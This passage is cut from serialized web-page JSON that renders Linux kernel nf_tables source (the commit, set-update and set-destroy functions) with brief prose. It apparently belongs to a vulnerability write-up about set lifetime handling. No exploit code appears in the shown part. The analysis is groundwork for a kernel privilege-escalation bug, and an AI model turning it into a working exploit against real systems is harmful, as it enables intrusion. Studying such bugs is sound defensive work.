nf_tables_commit",{"type":23,"tag":139,"props":50290,"children":50291},{"style":259},[50292],{"type":28,"value":262},{"type":23,"tag":139,"props":50294,"children":50295},{"style":279},[50296],{"type":28,"value":7409},{"type":23,"tag":139,"props":50298,"children":50299},{"style":259},[50300],{"type":28,"value":49900},{"type":23,"tag":139,"props":50302,"children":50303},{"style":982},[50304],{"type":28,"value":2573},{"type":23,"tag":139,"props":50306,"children":50307},{"style":294},[50308],{"type":28,"value":49909},{"type":23,"tag":139,"props":50310,"children":50311},{"style":259},[50312],{"type":28,"value":1052},{"type":23,"tag":139,"props":50314,"children":50315},{"style":279},[50316],{"type":28,"value":7409},{"type":23,"tag":139,"props":50318,"children":50319},{"style":259},[50320],{"type":28,"value":50321}," sk_buff ",{"type":23,"tag":139,"props":50323,"children":50324},{"style":982},[50325],{"type":28,"value":2573},{"type":23,"tag":139,"props":50327,"children":50328},{"style":294},[50329],{"type":28,"value":50330},"skb",{"type":23,"tag":139,"props":50332,"children":50333},{"style":259},[50334],{"type":28,"value":273},{"type":23,"tag":139,"props":50336,"children":50337},{"class":141,"line":151},[50338],{"type":23,"tag":139,"props":50339,"children":50340},{"style":259},[50341],{"type":28,"value":8890},{"type":23,"tag":139,"props":50343,"children":50344},{"class":141,"line":160},[50345],{"type":23,"tag":139,"props":50346,"children":50347},{"style":259},[50348],{"type":28,"value":8327},{"type":23,"tag":139,"props":50350,"children":50351},{"class":141,"line":169},[50352],{"type":23,"tag":139,"props":50353,"children":50354},{"style":259},[50355],{"type":28,"value":50356},"  case NFT_MSG_DELSET:\n",{"type":23,"tag":139,"props":50358,"children":50359},{"class":141,"line":178},[50360,50365],{"type":23,"tag":139,"props":50361,"children":50362},{"style":259},[50363],{"type":28,"value":50364},"  case NFT_MSG_DESTROYSET:",{"type":23,"tag":139,"props":50366,"children":50367},{"style":958},[50368],{"type":28,"value":50369}," // [1]\n",{"type":23,"tag":139,"props":50371,"children":50372},{"class":141,"line":187},[50373,50378,50383,50388,50392,50396,50400],{"type":23,"tag":139,"props":50374,"children":50375},{"style":245},[50376],{"type":28,"value":50377},"   nft_trans_set",{"type":23,"tag":139,"props":50379,"children":50380},{"style":259},[50381],{"type":28,"value":50382},"(trans)->",{"type":23,"tag":139,"props":50384,"children":50385},{"style":294},[50386],{"type":28,"value":50387},"dead",{"type":23,"tag":139,"props":50389,"children":50390},{"style":982},[50391],{"type":28,"value":985},{"type":23,"tag":139,"props":50393,"children":50394},{"style":1016},[50395],{"type":28,"value":2525},{"type":23,"tag":139,"props":50397,"children":50398},{"style":259},[50399],{"type":28,"value":46971},{"type":23,"tag":139,"props":50401,"children":50402},{"style":958},[50403],{"type":28,"value":50404}," // [2]\n",{"type":23,"tag":139,"props":50406,"children":50407},{"class":141,"line":196},[50408,50413,50417,50421,50426,50430,50435],{"type":23,"tag":139,"props":50409,"children":50410},{"style":245},[50411],{"type":28,"value":50412},"   list_del_rcu",{"type":23,"tag":139,"props":50414,"children":50415},{"style":259},[50416],{"type":28,"value":262},{"type":23,"tag":139,"props":50418,"children":50419},{"style":982},[50420],{"type":28,"value":1085},{"type":23,"tag":139,"props":50422,"children":50423},{"style":245},[50424],{"type":28,"value":50425},"nft_trans_set",{"type":23,"tag":139,"props":50427,"children":50428},{"style":259},[50429],{"type":28,"value":50382},{"type":23,"tag":139,"props":50431,"children":50432},{"style":294},[50433],{"type":28,"value":50434},"list",{"type":23,"tag":139,"props":50436,"children":50437},{"style":259},[50438],{"type":28,"value":1820},{"type":23,"tag":139,"props":50440,"children":50441},{"class":141,"line":205},[50442,50447,50451,50455,50460,50464,50468,50472,50476],{"type":23,"tag":139,"props":50443,"children":50444},{"style":245},[50445],{"type":28,"value":50446},"   nf_tables_set_notify",{"type":23,"tag":139,"props":50448,"children":50449},{"style":259},[50450],{"type":28,"value":262},{"type":23,"tag":139,"props":50452,"children":50453},{"style":982},[50454],{"type":28,"value":1085},{"type":23,"tag":139,"props":50456,"children":50457},{"style":294},[50458],{"type":28,"value":50459},"trans",{"type":23,"tag":139,"props":50461,"children":50462},{"style":259},[50463],{"type":28,"value":11768},{"type":23,"tag":139,"props":50465,"children":50466},{"style":294},[50467],{"type":28,"value":18288},{"type":23,"tag":139,"props":50469,"children":50470},{"style":259},[50471],{"type":28,"value":1052},{"type":23,"tag":139,"props":50473,"children":50474},{"style":245},[50475],{"type":28,"value":50425},{"type":23,"tag":139,"props":50477,"children":50478},{"style":259},[50479],{"type":28,"value":50480},"(trans),\n",{"type":23,"tag":139,"props":50482,"children":50483},{"class":141,"line":214},[50484,50489,50493,50498],{"type":23,"tag":139,"props":50485,"children":50486},{"style":294},[50487],{"type":28,"value":50488},"          trans",{"type":23,"tag":139,"props":50490,"children":50491},{"style":259},[50492],{"type":28,"value":11768},{"type":23,"tag":139,"props":50494,"children":50495},{"style":294},[50496],{"type":28,"value":50497},"msg_type",{"type":23,"tag":139,"props":50499,"children":50500},{"style":259},[50501],{"type":28,"value":50502},", GFP_KERNEL);\n",{"type":23,"tag":139,"props":50504,"children":50505},{"class":141,"line":1320},[50506,50511],{"type":23,"tag":139,"props":50507,"children":50508},{"style":319},[50509],{"type":28,"value":50510},"   break",{"type":23,"tag":139,"props":50512,"children":50513},{"style":259},[50514],{"type":28,"value":995},{"type":23,"tag":139,"props":50516,"children":50517},{"class":141,"line":1329},[50518,50523],{"type":23,"tag":139,"props":50519,"children":50520},{"style":259},[50521],{"type":28,"value":50522},"  case NFT_MSG_NEWSETELEM:",{"type":23,"tag":139,"props":50524,"children":50525},{"style":958},[50526],{"type":28,"value":50527}," // [3]\n",{"type":23,"tag":139,"props":50529,"children":50530},{"class":141,"line":1580},[50531],{"type":23,"tag":139,"props":50532,"children":50533},{"style":259},[50534],{"type":28,"value":8327},{"type":23,"tag":139,"props":50536,"children":50537},{"class":141,"line":1597},[50538,50543,50547,50552,50556,50560,50564,50569,50573,50578],{"type":23,"tag":139,"props":50539,"children":50540},{"style":319},[50541],{"type":28,"value":50542},"   if",{"type":23,"tag":139,"props":50544,"children":50545},{"style":259},[50546],{"type":28,"value":1042},{"type":23,"tag":139,"props":50548,"children":50549},{"style":294},[50550],{"type":28,"value":50551},"te",{"type":23,"tag":139,"props":50553,"children":50554},{"style":259},[50555],{"type":28,"value":11768},{"type":23,"tag":139,"props":50557,"children":50558},{"style":294},[50559],{"type":28,"value":48917},{"type":23,"tag":139,"props":50561,"children":50562},{"style":259},[50563],{"type":28,"value":11768},{"type":23,"tag":139,"props":50565,"children":50566},{"style":294},[50567],{"type":28,"value":50568},"ops",{"type":23,"tag":139,"props":50570,"children":50571},{"style":259},[50572],{"type":28,"value":11768},{"type":23,"tag":139,"props":50574,"children":50575},{"style":294},[50576],{"type":28,"value":50577},"commit",{"type":23,"tag":139,"props":50579,"children":50580},{"style":982},[50581],{"type":28,"value":50582}," &&\n",{"type":23,"tag":139,"props":50584,"children":50585},{"class":141,"line":1614},[50586,50591,50595,50599,50603,50607,50611,50615,50620],{"type":23,"tag":139,"props":50587,"children":50588},{"style":245},[50589],{"type":28,"value":50590},"       list_empty",{"type":23,"tag":139,"props":50592,"children":50593},{"style":259},[50594],{"type":28,"value":262},{"type":23,"tag":139,"props":50596,"children":50597},{"style":982},[50598],{"type":28,"value":1085},{"type":23,"tag":139,"props":50600,"children":50601},{"style":294},[50602],{"type":28,"value":50551},{"type":23,"tag":139,"props":50604,"children":50605},{"style":259},[50606],{"type":28,"value":11768},{"type":23,"tag":139,"props":50608,"children":50609},{"style":294},[50610],{"type":28,"value":48917},{"type":23,"tag":139,"props":50612,"children":50613},{"style":259},[50614],{"type":28,"value":11768},{"type":23,"tag":139,"props":50616,"children":50617},{"style":294},[50618],{"type":28,"value":50619},"pending_update",{"type":23,"tag":139,"props":50621,"children":50622},{"style":259},[50623],{"type":28,"value":33083},{"type":23,"tag":139,"props":50625,"children":50626},{"class":141,"line":1627},[50627,50632,50636,50640,50644,50648,50652,50656,50660],{"type":23,"tag":139,"props":50628,"children":50629},{"style":245},[50630],{"type":28,"value":50631},"    list_add_tail",{"type":23,"tag":139,"props":50633,"children":50634},{"style":259},[50635],{"type":28,"value":262},{"type":23,"tag":139,"props":50637,"children":50638},{"style":982},[50639],{"type":28,"value":1085},{"type":23,"tag":139,"props":50641,"children":50642},{"style":294},[50643],{"type":28,"value":50551},{"type":23,"tag":139,"props":50645,"children":50646},{"style":259},[50647],{"type":28,"value":11768},{"type":23,"tag":139,"props":50649,"children":50650},{"style":294},[50651],{"type":28,"value":48917},{"type":23,"tag":139,"props":50653,"children":50654},{"style":259},[50655],{"type":28,"value":11768},{"type":23,"tag":139,"props":50657,"children":50658},{"style":294},[50659],{"type":28,"value":50619},{"type":23,"tag":139,"props":50661,"children":50662},{"style":259},[50663],{"type":28,"value":1488},{"type":23,"tag":139,"props":50665,"children":50666},{"class":141,"line":1636},[50667,50672],{"type":23,"tag":139,"props":50668,"children":50669},{"style":982},[50670],{"type":28,"value":50671},"           &",{"type":23,"tag":139,"props":50673,"children":50674},{"style":259},[50675],{"type":28,"value":50676},"set_update_list);\n",{"type":23,"tag":139,"props":50678,"children":50679},{"class":141,"line":1659},[50680],{"type":23,"tag":139,"props":50681,"children":50682},{"style":259},[50683],{"type":28,"value":32637},{"type":23,"tag":139,"props":50685,"children":50686},{"class":141,"line":1667},[50687],{"type":23,"tag":139,"props":50688,"children":50689},{"style":259},[50690],{"type":28,"value":8327},{"type":23,"tag":139,"props":50692,"children":50693},{"class":141,"line":1676},[50694],{"type":23,"tag":139,"props":50695,"children":50696},{"style":259},[50697],{"type":28,"value":7604},{"type":23,"tag":139,"props":50699,"children":50700},{"class":141,"line":1745},[50701],{"type":23,"tag":139,"props":50702,"children":50703},{"emptyLinePlaceholder":15},[50704],{"type":28,"value":184},{"type":23,"tag":139,"props":50706,"children":50707},{"class":141,"line":1753},[50708,50713,50717,50721,50726],{"type":23,"tag":139,"props":50709,"children":50710},{"style":245},[50711],{"type":28,"value":50712}," nft_set_commit_update",{"type":23,"tag":139,"props":50714,"children":50715},{"style":259},[50716],{"type":28,"value":262},{"type":23,"tag":139,"props":50718,"children":50719},{"style":982},[50720],{"type":28,"value":1085},{"type":23,"tag":139,"props":50722,"children":50723},{"style":294},[50724],{"type":28,"value":50725},"set_update_list",{"type":23,"tag":139,"props":50727,"children":50728},{"style":259},[50729],{"type":28,"value":1820},{"type":23,"tag":139,"props":50731,"children":50732},{"class":141,"line":1783},[50733],{"type":23,"tag":139,"props":50734,"children":50735},{"style":259},[50736],{"type":28,"value":8327},{"type":23,"tag":139,"props":50738,"children":50739},{"class":141,"line":1791},[50740,50745],{"type":23,"tag":139,"props":50741,"children":50742},{"style":245},[50743],{"type":28,"value":50744}," nf_tables_commit_release",{"type":23,"tag":139,"props":50746,"children":50747},{"style":259},[50748],{"type":28,"value":50749},"(net);\n",{"type":23,"tag":139,"props":50751,"children":50752},{"class":141,"line":1823},[50753],{"type":23,"tag":139,"props":50754,"children":50755},{"emptyLinePlaceholder":15},[50756],{"type":28,"value":184},{"type":23,"tag":139,"props":50758,"children":50759},{"class":141,"line":1831},[50760,50765,50769],{"type":23,"tag":139,"props":50761,"children":50762},{"style":319},[50763],{"type":28,"value":50764}," return",{"type":23,"tag":139,"props":50766,"children":50767},{"style":1016},[50768],{"type":28,"value":1019},{"type":23,"tag":139,"props":50770,"children":50771},{"style":259},[50772],{"type":28,"value":995},{"type":23,"tag":139,"props":50774,"children":50775},{"class":141,"line":1891},[50776],{"type":23,"tag":139,"props":50777,"children":50778},{"style":259},[50779],{"type":28,"value":1897},{"type":23,"tag":24,"props":50781,"children":50782},{},[50783,50784,50790,50792,50797],{"type":28,"value":14625},{"type":23,"tag":135,"props":50785,"children":50787},{"className":50786},[],[50788],{"type":28,"value":50789},"nft_set_commit_update()",{"type":28,"value":50791}," function in the code above will call the ",{"type":23,"tag":135,"props":50793,"children":50795},{"className":50794},[],[50796],{"type":28,"value":50243},{"type":28,"value":50798}," method for any objects that were marked as pending an update.",{"type":23,"tag":128,"props":50800,"children":50802},{"className":14526,"code":50801,"language":1123,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[50803],{"type":23,"tag":135,"props":50804,"children":50805},{"__ignoreMap":7},[50806,50846,50853,50882,50889,50902,50934,50941,51002,51013,51020,51054,51061],{"type":23,"tag":139,"props":50807,"children":50808},{"class":141,"line":142},[50809,50813,50817,50821,50825,50829,50834,50838,50842],{"type":23,"tag":139,"props":50810,"children":50811},{"style":279},[50812],{"type":28,"value":48942},{"type":23,"tag":139,"props":50814,"children":50815},{"style":279},[50816],{"type":28,"value":48947},{"type":23,"tag":139,"props":50818,"children":50819},{"style":245},[50820],{"type":28,"value":50712},{"type":23,"tag":139,"props":50822,"children":50823},{"style":259},[50824],{"type":28,"value":262},{"type":23,"tag":139,"props":50826,"children":50827},{"style":279},[50828],{"type":28,"value":7409},{"type":23,"tag":139,"props":50830,"children":50831},{"style":259},[50832],{"type":28,"value":50833}," list_head ",{"type":23,"tag":139,"props":50835,"children":50836},{"style":982},[50837],{"type":28,"value":2573},{"type":23,"tag":139,"props":50839,"children":50840},{"style":294},[50841],{"type":28,"value":50725},{"type":23,"tag":139,"props":50843,"children":50844},{"style":259},[50845],{"type":28,"value":273},{"type":23,"tag":139,"props":50847,"children":50848},{"class":141,"line":151},[50849],{"type":23,"tag":139,"props":50850,"children":50851},{"style":259},[50852],{"type":28,"value":8890},{"type":23,"tag":139,"props":50854,"children":50855},{"class":141,"line":160},[50856,50860,50864,50868,50873,50877],{"type":23,"tag":139,"props":50857,"children":50858},{"style":279},[50859],{"type":28,"value":19159},{"type":23,"tag":139,"props":50861,"children":50862},{"style":259},[50863],{"type":28,"value":48997},{"type":23,"tag":139,"props":50865,"children":50866},{"style":982},[50867],{"type":28,"value":2573},{"type":23,"tag":139,"props":50869,"children":50870},{"style":259},[50871],{"type":28,"value":50872},"set, ",{"type":23,"tag":139,"props":50874,"children":50875},{"style":982},[50876],{"type":28,"value":2573},{"type":23,"tag":139,"props":50878,"children":50879},{"style":259},[50880],{"type":28,"value":50881},"next;\n",{"type":23,"tag":139,"props":50883,"children":50884},{"class":141,"line":169},[50885],{"type":23,"tag":139,"props":50886,"children":50887},{"emptyLinePlaceholder":15},[50888],{"type":28,"value":184},{"type":23,"tag":139,"props":50890,"children":50891},{"class":141,"line":178},[50892,50897],{"type":23,"tag":139,"props":50893,"children":50894},{"style":245},[50895],{"type":28,"value":50896}," list_for_each_entry_safe",{"type":23,"tag":139,"props":50898,"children":50899},{"style":259},[50900],{"type":28,"value":50901},"(set, next, set_update_list, pending_update) {\n",{"type":23,"tag":139,"props":50903,"children":50904},{"class":141,"line":187},[50905,50910,50914,50918,50922,50926,50930],{"type":23,"tag":139,"props":50906,"children":50907},{"style":245},[50908],{"type":28,"value":50909},"  list_del_init",{"type":23,"tag":139,"props":50911,"children":50912},{"style":259},[50913],{"type":28,"value":262},{"type":23,"tag":139,"props":50915,"children":50916},{"style":982},[50917],{"type":28,"value":1085},{"type":23,"tag":139,"props":50919,"children":50920},{"style":294},[50921],{"type":28,"value":48917},{"type":23,"tag":139,"props":50923,"children":50924},{"style":259},[50925],{"type":28,"value":11768},{"type":23,"tag":139,"props":50927,"children":50928},{"style":294},[50929],{"type":28,"value":50619},{"type":23,"tag":139,"props":50931,"children":50932},{"style":259},[50933],{"type":28,"value":1820},{"type":23,"tag":139,"props":50935,"children":50936},{"class":141,"line":196},[50937],{"type":23,"tag":139,"props":50938,"children":50939},{"emptyLinePlaceholder":15},[50940],{"type":28,"value":184},{"type":23,"tag":139,"props":50942,"children":50943},{"class":141,"line":205},[50944,50948,50952,50956,50960,50964,50968,50972,50976,50980,50985,50989,50993,50997],{"type":23,"tag":139,"props":50945,"children":50946},{"style":319},[50947],{"type":28,"value":29281},{"type":23,"tag":139,"props":50949,"children":50950},{"style":259},[50951],{"type":28,"value":1042},{"type":23,"tag":139,"props":50953,"children":50954},{"style":982},[50955],{"type":28,"value":18629},{"type":23,"tag":139,"props":50957,"children":50958},{"style":294},[50959],{"type":28,"value":48917},{"type":23,"tag":139,"props":50961,"children":50962},{"style":259},[50963],{"type":28,"value":11768},{"type":23,"tag":139,"props":50965,"children":50966},{"style":294},[50967],{"type":28,"value":50568},{"type":23,"tag":139,"props":50969,"children":50970},{"style":259},[50971],{"type":28,"value":11768},{"type":23,"tag":139,"props":50973,"children":50974},{"style":294},[50975],{"type":28,"value":50577},{"type":23,"tag":139,"props":50977,"children":50978},{"style":982},[50979],{"type":28,"value":21717},{"type":23,"tag":139,"props":50981,"children":50982},{"style":294},[50983],{"type":28,"value":50984}," set",{"type":23,"tag":139,"props":50986,"children":50987},{"style":259},[50988],{"type":28,"value":11768},{"type":23,"tag":139,"props":50990,"children":50991},{"style":294},[50992],{"type":28,"value":50387},{"type":23,"tag":139,"props":50994,"children":50995},{"style":259},[50996],{"type":28,"value":1104},{"type":23,"tag":139,"props":50998,"children":50999},{"style":958},[51000],{"type":28,"value":51001}," // [4]\n",{"type":23,"tag":139,"props":51003,"children":51004},{"class":141,"line":214},[51005,51009],{"type":23,"tag":139,"props":51006,"children":51007},{"style":319},[51008],{"type":28,"value":49389},{"type":23,"tag":139,"props":51010,"children":51011},{"style":259},[51012],{"type":28,"value":995},{"type":23,"tag":139,"props":51014,"children":51015},{"class":141,"line":1320},[51016],{"type":23,"tag":139,"props":51017,"children":51018},{"emptyLinePlaceholder":15},[51019],{"type":28,"value":184},{"type":23,"tag":139,"props":51021,"children":51022},{"class":141,"line":1329},[51023,51028,51032,51036,51040,51044,51049],{"type":23,"tag":139,"props":51024,"children":51025},{"style":294},[51026],{"type":28,"value":51027},"  set",{"type":23,"tag":139,"props":51029,"children":51030},{"style":259},[51031],{"type":28,"value":11768},{"type":23,"tag":139,"props":51033,"children":51034},{"style":294},[51035],{"type":28,"value":50568},{"type":23,"tag":139,"props":51037,"children":51038},{"style":259},[51039],{"type":28,"value":11768},{"type":23,"tag":139,"props":51041,"children":51042},{"style":245},[51043],{"type":28,"value":50577},{"type":23,"tag":139,"props":51045,"children":51046},{"style":259},[51047],{"type":28,"value":51048},"(set);",{"type":23,"tag":139,"props":51050,"children":51051},{"style":958},[51052],{"type":28,"value":51053}," // [5]\n",{"type":23,"tag":139,"props":51055,"children":51056},{"class":141,"line":1580},[51057],{"type":23,"tag":139,"props":51058,"children":51059},{"style":259},[51060],{"type":28,"value":7604},{"type":23,"tag":139,"props":51062,"children":51063},{"class":141,"line":1597},[51064],{"type":23,"tag":139,"props":51065,"children":51066},{"style":259},[51067],{"type":28,"value":1897},{"type":23,"tag":24,"props":51069,"children":51070},{},[51071,51073,51079,51081,51086,51087,51092],{"type":28,"value":51072},"Later on, the ",{"type":23,"tag":135,"props":51074,"children":51076},{"className":51075},[],[51077],{"type":28,"value":51078},"nf_tables_commit_release()",{"type":28,"value":51080}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":23,"tag":135,"props":51082,"children":51084},{"className":51083},[],[51085],{"type":28,"value":48917},{"type":28,"value":50237},{"type":23,"tag":135,"props":51088,"children":51090},{"className":51089},[],[51091],{"type":28,"value":50251},{"type":28,"value":51093}," method.",{"type":23,"tag":128,"props":51095,"children":51097},{"className":14526,"code":51096,"language":1123,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[51098],{"type":23,"tag":135,"props":51099,"children":51100},{"__ignoreMap":7},[51101,51140,51147,51154,51175,51182,51189,51196,51237,51244,51251,51272,51285,51297,51304,51311,51318,51359,51366,51394,51401,51414,51426,51467,51474,51481,51488,51546,51553,51560,51589,51596],{"type":23,"tag":139,"props":51102,"children":51103},{"class":141,"line":142},[51104,51108,51112,51116,51120,51124,51128,51132,51136],{"type":23,"tag":139,"props":51105,"children":51106},{"style":279},[51107],{"type":28,"value":48942},{"type":23,"tag":139,"props":51109,"children":51110},{"style":279},[51111],{"type":28,"value":48947},{"type":23,"tag":139,"props":51113,"children":51114},{"style":245},[51115],{"type":28,"value":50744},{"type":23,"tag":139,"props":51117,"children":51118},{"style":259},[51119],{"type":28,"value":262},{"type":23,"tag":139,"props":51121,"children":51122},{"style":279},[51123],{"type":28,"value":7409},{"type":23,"tag":139,"props":51125,"children":51126},{"style":259},[51127],{"type":28,"value":49900},{"type":23,"tag":139,"props":51129,"children":51130},{"style":982},[51131],{"type":28,"value":2573},{"type":23,"tag":139,"props":51133,"children":51134},{"style":294},[51135],{"type":28,"value":49909},{"type":23,"tag":139,"props":51137,"children":51138},{"style":259},[51139],{"type":28,"value":273},{"type":23,"tag":139,"props":51141,"children":51142},{"class":141,"line":151},[51143],{"type":23,"tag":139,"props":51144,"children":51145},{"style":259},[51146],{"type":28,"value":8890},{"type":23,"tag":139,"props":51148,"children":51149},{"class":141,"line":160},[51150],{"type":23,"tag":139,"props":51151,"children":51152},{"style":259},[51153],{"type":28,"value":8327},{"type":23,"tag":139,"props":51155,"children":51156},{"class":141,"line":169},[51157,51162,51166,51170],{"type":23,"tag":139,"props":51158,"children":51159},{"style":245},[51160],{"type":28,"value":51161}," schedule_work",{"type":23,"tag":139,"props":51163,"children":51164},{"style":259},[51165],{"type":28,"value":262},{"type":23,"tag":139,"props":51167,"children":51168},{"style":982},[51169],{"type":28,"value":1085},{"type":23,"tag":139,"props":51171,"children":51172},{"style":259},[51173],{"type":28,"value":51174},"trans_destroy_work);\n",{"type":23,"tag":139,"props":51176,"children":51177},{"class":141,"line":178},[51178],{"type":23,"tag":139,"props":51179,"children":51180},{"style":259},[51181],{"type":28,"value":8327},{"type":23,"tag":139,"props":51183,"children":51184},{"class":141,"line":187},[51185],{"type":23,"tag":139,"props":51186,"children":51187},{"style":259},[51188],{"type":28,"value":1897},{"type":23,"tag":139,"props":51190,"children":51191},{"class":141,"line":196},[51192],{"type":23,"tag":139,"props":51193,"children":51194},{"style":259},[51195],{"type":28,"value":8327},{"type":23,"tag":139,"props":51197,"children":51198},{"class":141,"line":205},[51199,51203,51207,51212,51216,51220,51225,51229,51233],{"type":23,"tag":139,"props":51200,"children":51201},{"style":279},[51202],{"type":28,"value":48942},{"type":23,"tag":139,"props":51204,"children":51205},{"style":279},[51206],{"type":28,"value":48947},{"type":23,"tag":139,"props":51208,"children":51209},{"style":245},[51210],{"type":28,"value":51211}," nf_tables_trans_destroy_work",{"type":23,"tag":139,"props":51213,"children":51214},{"style":259},[51215],{"type":28,"value":262},{"type":23,"tag":139,"props":51217,"children":51218},{"style":279},[51219],{"type":28,"value":7409},{"type":23,"tag":139,"props":51221,"children":51222},{"style":259},[51223],{"type":28,"value":51224}," work_struct ",{"type":23,"tag":139,"props":51226,"children":51227},{"style":982},[51228],{"type":28,"value":2573},{"type":23,"tag":139,"props":51230,"children":51231},{"style":294},[51232],{"type":28,"value":47469},{"type":23,"tag":139,"props":51234,"children":51235},{"style":259},[51236],{"type":28,"value":273},{"type":23,"tag":139,"props":51238,"children":51239},{"class":141,"line":214},[51240],{"type":23,"tag":139,"props":51241,"children":51242},{"style":259},[51243],{"type":28,"value":8890},{"type":23,"tag":139,"props":51245,"children":51246},{"class":141,"line":1320},[51247],{"type":23,"tag":139,"props":51248,"children":51249},{"style":259},[51250],{"type":28,"value":8327},{"type":23,"tag":139,"props":51252,"children":51253},{"class":141,"line":1329},[51254,51258,51263,51267],{"type":23,"tag":139,"props":51255,"children":51256},{"style":245},[51257],{"type":28,"value":50896},{"type":23,"tag":139,"props":51259,"children":51260},{"style":259},[51261],{"type":28,"value":51262},"(trans, next, ",{"type":23,"tag":139,"props":51264,"children":51265},{"style":982},[51266],{"type":28,"value":1085},{"type":23,"tag":139,"props":51268,"children":51269},{"style":259},[51270],{"type":28,"value":51271},"head, list) {\n",{"type":23,"tag":139,"props":51273,"children":51274},{"class":141,"line":1580},[51275,51280],{"type":23,"tag":139,"props":51276,"children":51277},{"style":245},[51278],{"type":28,"value":51279},"  nft_trans_list_del",{"type":23,"tag":139,"props":51281,"children":51282},{"style":259},[51283],{"type":28,"value":51284},"(trans);\n",{"type":23,"tag":139,"props":51286,"children":51287},{"class":141,"line":1597},[51288,51293],{"type":23,"tag":139,"props":51289,"children":51290},{"style":245},[51291],{"type":28,"value":51292},"  nft_commit_release",{"type":23,"tag":139,"props":51294,"children":51295},{"style":259},[51296],{"type":28,"value":51284},{"type":23,"tag":139,"props":51298,"children":51299},{"class":141,"line":1614},[51300],{"type":23,"tag":139,"props":51301,"children":51302},{"style":259},[51303],{"type":28,"value":7604},{"type":23,"tag":139,"props":51305,"children":51306},{"class":141,"line":1627},[51307],{"type":23,"tag":139,"props":51308,"children":51309},{"style":259},[51310],{"type":28,"value":1897},{"type":23,"tag":139,"props":51312,"children":51313},{"class":141,"line":1636},[51314],{"type":23,"tag":139,"props":51315,"children":51316},{"style":259},[51317],{"type":28,"value":8327},{"type":23,"tag":139,"props":51319,"children":51320},{"class":141,"line":1659},[51321,51325,51329,51334,51338,51342,51347,51351,51355],{"type":23,"tag":139,"props":51322,"children":51323},{"style":279},[51324],{"type":28,"value":48942},{"type":23,"tag":139,"props":51326,"children":51327},{"style":279},[51328],{"type":28,"value":48947},{"type":23,"tag":139,"props":51330,"children":51331},{"style":245},[51332],{"type":28,"value":51333}," nft_commit_release",{"type":23,"tag":139,"props":51335,"children":51336},{"style":259},[51337],{"type":28,"value":262},{"type":23,"tag":139,"props":51339,"children":51340},{"style":279},[51341],{"type":28,"value":7409},{"type":23,"tag":139,"props":51343,"children":51344},{"style":259},[51345],{"type":28,"value":51346}," nft_trans ",{"type":23,"tag":139,"props":51348,"children":51349},{"style":982},[51350],{"type":28,"value":2573},{"type":23,"tag":139,"props":51352,"children":51353},{"style":294},[51354],{"type":28,"value":50459},{"type":23,"tag":139,"props":51356,"children":51357},{"style":259},[51358],{"type":28,"value":273},{"type":23,"tag":139,"props":51360,"children":51361},{"class":141,"line":1667},[51362],{"type":23,"tag":139,"props":51363,"children":51364},{"style":259},[51365],{"type":28,"value":8890},{"type":23,"tag":139,"props":51367,"children":51368},{"class":141,"line":1676},[51369,51374,51378,51382,51386,51390],{"type":23,"tag":139,"props":51370,"children":51371},{"style":319},[51372],{"type":28,"value":51373}," switch",{"type":23,"tag":139,"props":51375,"children":51376},{"style":259},[51377],{"type":28,"value":1042},{"type":23,"tag":139,"props":51379,"children":51380},{"style":294},[51381],{"type":28,"value":50459},{"type":23,"tag":139,"props":51383,"children":51384},{"style":259},[51385],{"type":28,"value":11768},{"type":23,"tag":139,"props":51387,"children":51388},{"style":294},[51389],{"type":28,"value":50497},{"type":23,"tag":139,"props":51391,"children":51392},{"style":259},[51393],{"type":28,"value":12815},{"type":23,"tag":139,"props":51395,"children":51396},{"class":141,"line":1745},[51397],{"type":23,"tag":139,"props":51398,"children":51399},{"style":259},[51400],{"type":28,"value":8327},{"type":23,"tag":139,"props":51402,"children":51403},{"class":141,"line":1753},[51404,51409],{"type":23,"tag":139,"props":51405,"children":51406},{"style":319},[51407],{"type":28,"value":51408}," case",{"type":23,"tag":139,"props":51410,"children":51411},{"style":259},[51412],{"type":28,"value":51413}," NFT_MSG_DELSET:\n",{"type":23,"tag":139,"props":51415,"children":51416},{"class":141,"line":1783},[51417,51421],{"type":23,"tag":139,"props":51418,"children":51419},{"style":319},[51420],{"type":28,"value":51408},{"type":23,"tag":139,"props":51422,"children":51423},{"style":259},[51424],{"type":28,"value":51425}," NFT_MSG_DESTROYSET:\n",{"type":23,"tag":139,"props":51427,"children":51428},{"class":141,"line":1791},[51429,51434,51438,51442,51446,51450,51454,51458,51462],{"type":23,"tag":139,"props":51430,"children":51431},{"style":245},[51432],{"type":28,"value":51433},"  nft_set_destroy",{"type":23,"tag":139,"props":51435,"children":51436},{"style":259},[51437],{"type":28,"value":262},{"type":23,"tag":139,"props":51439,"children":51440},{"style":982},[51441],{"type":28,"value":1085},{"type":23,"tag":139,"props":51443,"children":51444},{"style":259},[51445],{"type":28,"value":50459},{"type":23,"tag":139,"props":51447,"children":51448},{"style":982},[51449],{"type":28,"value":11768},{"type":23,"tag":139,"props":51451,"children":51452},{"style":294},[51453],{"type":28,"value":18288},{"type":23,"tag":139,"props":51455,"children":51456},{"style":259},[51457],{"type":28,"value":1052},{"type":23,"tag":139,"props":51459,"children":51460},{"style":245},[51461],{"type":28,"value":50425},{"type":23,"tag":139,"props":51463,"children":51464},{"style":259},[51465],{"type":28,"value":51466},"(trans));\n",{"type":23,"tag":139,"props":51468,"children":51469},{"class":141,"line":1823},[51470],{"type":23,"tag":139,"props":51471,"children":51472},{"style":259},[51473],{"type":28,"value":8327},{"type":23,"tag":139,"props":51475,"children":51476},{"class":141,"line":1831},[51477],{"type":23,"tag":139,"props":51478,"children":51479},{"style":259},[51480],{"type":28,"value":1897},{"type":23,"tag":139,"props":51482,"